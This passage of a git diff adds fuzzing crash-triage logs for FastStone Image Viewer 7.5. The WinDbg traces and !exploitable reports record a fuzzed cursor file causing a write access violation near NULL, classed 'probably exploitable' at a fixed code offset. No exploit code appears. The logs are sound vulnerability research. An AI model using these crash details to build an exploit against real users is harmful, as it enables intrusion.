C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1be4.e1c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ec7b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=25172.4 3.1873e+032 -5.45931e+017 6.98932e-010 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003b7000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003b7000 ed247313 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6290 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003b7000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27387/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27387/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..ee55c3f Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27387/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27794/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27794/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27794/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27794/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27794/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..19cffbb Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27794/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27794/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27794/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..e75245c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27794/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xF0C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xF0C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(f0c.1fa0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e97b19 edx=00000000 esi=00000000 edi=0f800fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.69701e-016 -2.51438e-028 -1.40994e-038 -2.75203e-035 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002e5000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002e5000 f271097b 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6297 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002e5000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27794/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27794/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..e75245c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27794/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xF0C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xF0C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 